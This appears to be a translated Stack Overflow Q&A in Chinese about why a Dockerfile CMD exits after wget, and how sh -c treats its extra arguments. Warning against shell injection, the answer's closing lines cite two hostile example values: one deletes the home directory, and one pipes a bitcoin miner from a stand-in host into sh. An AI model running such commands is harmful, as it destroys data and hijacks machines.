我已经创建了一个 Dockerfile,我将在 kubernetes 中对其进行测试。这是一个 ubuntu 镜像,我需要它
我本可以使用 nginx 图像来遵守第 2 步。但我没有,而是在 CMD 子句中我只是放置了
sleep 1000000
这通常对我有用,所以容器不会停止。我没有做一些适当的事情来让进程继续运行的原因现在已经不重要了。重要的是下面的问题。
这是我的 Dockerfile
FROM ubuntu:latest
RUN apt-get update \
&& apt-get install -y iputils-ping \
&& apt-get install -y wget
CMD ["sh","-c","wget https://httpbin.org/get","&&","sleep 1000000000000"]
在我构建它之后,出于某种原因,它在我点击
docker run -d <image_name>
后几乎立即关闭。但是通过查看日志 docker logs -t <container_name>
我可以看到 wget 命令正常工作。
我的问题是,为什么wget完成后,Dockefile的CMD的
"&&","sleep 1000000000000"
部分没有出现?我知道它没有出现,因为容器正确运行 wget 然后以状态 0 存在,即使 sleep
应该让它运行几天。
为什么我将 wget 运行到虚拟服务器的原因现在已经不重要了,当我在 k8s 上测试时,我会用实际服务替换它,看看它是否可以访问。所以这并不重要,问题是为什么
sleep
在wget
之后没有执行
正确的写法是:
CMD ["sh", "-c", "wget https://httpbin.org/get && sleep 1000000000000"]
...或其精确等价物,
CMD wget https://httpbin.org/get && sleep 1000000000000
sh -c
只需要 one argument 解析为代码。
在该代码运行的上下文中,该参数之后的参数变为
$0
。
之后的论证变成
$1
.
之后的论证变成
$2
...等等
但是因为 shell 脚本
wget https://httpbin.org/get
没有查看 $0
或 $1
,你所有的后续参数都被完全忽略了。
如果你真的想 use 那些额外的参数,你可以改为做这样的事情:
CMD ["sh", "-c", "wget \"$1\" && sleep \"$2\"", "sh", "https://httpbin.org/get", "1000000000000"]
...其中
$0
变为 sh
(用于错误消息); $1
变成https://httpbin.org/get
,$2
变成想要的睡眠量。
这样做的主要优点是只有
-c
后面的参数被shell解析为代码,所以只有那个参数的内容可以用于shell注入攻击(假设后面的代码没有做一些愚蠢的事情,例如eval
ing该数据)。您可以将完全不受信任的内容放入后面的参数中,您可能需要担心 wget
或 sleep
如何解析或处理该内容,但您无需担心 shell 本身将如何处理它;因此,如果您要传递的 URL 来自可能试图偷偷加入 $(rm -rf ~)
或 $(curl https://evil.co/bitcoin-miner | sh -)
的人,那么将该内容作为参数而不是带内代码传递会更安全。